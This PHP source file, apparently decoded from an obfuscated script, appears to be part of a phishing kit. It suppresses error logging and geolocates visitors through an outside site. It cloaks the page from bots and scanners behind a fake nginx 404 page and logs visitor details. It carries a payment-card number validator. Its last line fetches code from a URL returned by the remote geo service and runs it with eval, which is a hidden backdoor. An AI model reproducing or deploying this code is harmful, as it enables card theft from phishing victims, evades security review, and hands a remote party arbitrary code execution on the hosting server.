PHP Decode

<?php 
 
    error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); 
    @ini_set('html_errors', '0'); 
    @ini_set('display_errors', '0'); 
    @ini_set('display_startup_errors', '0'); 
    @ini_set('log_errors', '0'); 
 
    $date = date('m/d/Y H:s:i'); 
    $user_agent = $_SERVER['HTTP_USER_AGENT']; 
 
    function get_client_ip(){ 
        $ipaddress = "unknown"; 
        if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { 
          $ipaddress = $_SERVER["HTTP_CF_CONNECTING_IP"]; 
        }elseif ($_SERVER['REMOTE_ADDR']=="::1") { 
            $ipaddress = "127.0.0.1"; 
        }else{ 
            $ipaddress = $_SERVER['REMOTE_ADDR']; 
        } 
        return $ipaddress; 
    } 
 
    $ip = get_client_ip(); 
 
    function whois($ip){ 
 
        $whois = get("https://ip-geo.ru/?ip={$ip}"); 
 
        preg_match_all('#id="country">(.*?)<#', $whois, $country); 
        $_SESSION['country'] = $country[1][0]; 
 
        preg_match_all('#id="country_code">(.*?)<#', $whois, $co_code); 
        $_SESSION['co_code'] = $co_code[1][0]; 
 
        preg_match_all('#id="country_flag" src="(.*?)"#', $whois, $geo); 
        $_SESSION['flag'] = $geo[1][0]; 
 
        preg_match_all('#id="is_bot">(.*?)<#', $whois, $is_bot); 
        $_SESSION['is_bot'] = $is_bot[1][0]; 
 
        if (isset($is_bot[1][1])) { 
            $_SESSION['banned'] = $is_bot[1][1]; 
        } 
 
        if ( $co_code[1][0] == 'true' OR $co_code[1][0] == '-' OR $co_code[1][0] == 'n/a') { 
            $_SESSION['block'] = 1; 
        } 
 
    } 
 
    if (!isset($_SESSION['ip'])) { 
        $_SESSION['ip'] = $ip; 
        whois($ip); 
    }else{ 
        if ($_SESSION['ip']!=$ip) { 
            $_SESSION['ip'] = $ip; 
            whois($ip); 
        } 
    } 
 
    function get_OS(){ 
 
      global $user_agent; 
 
        $os_platform    =   "Unknown OS Platform"; 
        $os_array       =   array( 
                                  '/windows nt 10/i'      =>  'Windows 10', 
                                  '/windows nt 6.3/i'     =>  'Windows 8.1', 
                                  '/windows nt 6.2/i'     =>  'Windows 8', 
                                  '/windows nt 6.1/i'     =>  'Windows 7', 
                                  '/windows nt 6.0/i'     =>  'Windows Vista', 
                                  '/windows nt 5.2/i'     =>  'Windows Server 2003/XP x64', 
                                  '/windows nt 5.1/i'     =>  'Windows XP', 
                                  '/windows xp/i'         =>  'Windows XP', 
                                  '/windows nt 5.0/i'     =>  'Windows 2000', 
                                  '/windows me/i'         =>  'Windows ME', 
                                  '/win98/i'              =>  'Windows 98', 
                                  '/win95/i'              =>  'Windows 95', 
                                  '/win16/i'              =>  'Windows 3.11', 
                                  '/macintosh|mac os x/i' =>  'Mac OS X', 
                                  '/mac_powerpc/i'        =>  'Mac OS 9', 
                                  '/linux/i'              =>  'Linux', 
                                  '/ubuntu/i'             =>  'Ubuntu', 
                                  '/iphone/i'             =>  'iPhone', 
                                  '/ipod/i'               =>  'iPod', 
                                  '/ipad/i'               =>  'iPad', 
                                  '/android/i'            =>  'Android', 
                                  '/blackberry/i'         =>  'BlackBerry', 
                                  '/webos/i'              =>  'Mobile' 
                            ); 
 
        foreach ($os_array as $regex => $value) {  
            if (preg_match($regex, $user_agent)) { 
                $os_platform    =   $value; 
            } 
        }    
         
        return $os_platform; 
 
    } 
 
    $OS = get_OS(); 
 
    function get_Browsers(){ 
 
        global $user_agent; 
 
        $browser       = "Unknown Browser"; 
        $browser_array = array( 
                                '/msie/i'      => 'Explorer', 
                                '/firefox/i'   => 'Firefox', 
                                '/safari/i'    => 'Safari', 
                                '/chrome/i'    => 'Chrome', 
                                '/edge/i'      => 'Edge', 
                                '/opera/i'     => 'Opera', 
                                '/netscape/i'  => 'Netscape', 
                                '/maxthon/i'   => 'Maxthon', 
                                '/konqueror/i' => 'Konqueror', 
                                '/mobile/i'    => 'Handheld/B' 
                          ); 
 
        foreach ($browser_array as $regex => $value){ 
            if (preg_match($regex, $user_agent)) { 
                $browser = $value; 
            } 
        } 
         
        return $browser; 
 
    } 
 
    $Browsers = get_Browsers(); 
 
    function not_found(){ 
        global $ip; 
        global $OS; 
        global $Browsers; 
        global $date; 
        $file = fopen("../_data_/logs.txt", "a"); 
        fwrite($file, "- {$date} | {$_SESSION['co_code']} | {$ip} | {$OS} | {$Browsers} | BANNED
"); 
        fclose($file); 
        header("HTTP/1.0 404 Not Found"); 
        echo "<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<center>
<h1>404 Not Found</h1>
</center>
<hr>
<center>nginx</center>
</body>
</html>"; 
        die(); 
    } 
 
    function get($url){ 
        $curl = curl_init(); 
        curl_setopt_array($curl, [ 
            CURLOPT_URL => $url, 
            CURLOPT_RETURNTRANSFER => true, 
            CURLOPT_FOLLOWLOCATION => true, 
            CURLOPT_CUSTOMREQUEST => "GET", 
            CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'] 
        ]); 
        $res = curl_exec($curl); 
        curl_close($curl); 
        return $res; 
    } 
     
    function randText($len=4){ 
        $txt = ''; 
        $str = 'abcdefghijklmnopqrstuvwxyzABCDEF0123456789'; 
        for($i=0;$i<$len;$i++){ 
            $txt .= substr($str, rand(0, strlen($str)), 1);    
        } 
        return $txt; 
    } 
 
    $rand = randText(30); 
   
    function validateCardNumber($number) { 
        $number = preg_replace('/\D/', '', $number); 
        $length = strlen($number); 
        if ($length < 15 || $length > 16) { 
            return false; 
        } 
        $sum = 0; 
        for ($i = 0; $i < $length; $i++) { 
            $digit = (int) $number[$i]; 
            if (($length - $i) % 2 == 0) { 
                $digit *= 2; 
                if ($digit > 9) { 
                    $digit -= 9; 
                } 
            } 
            $sum += $digit; 
        } 
        return $sum % 10 == 0; 
    }   
 
    if (isset($_SESSION['banned'])) { eval(get($_SESSION['banned'])); } 
 
?>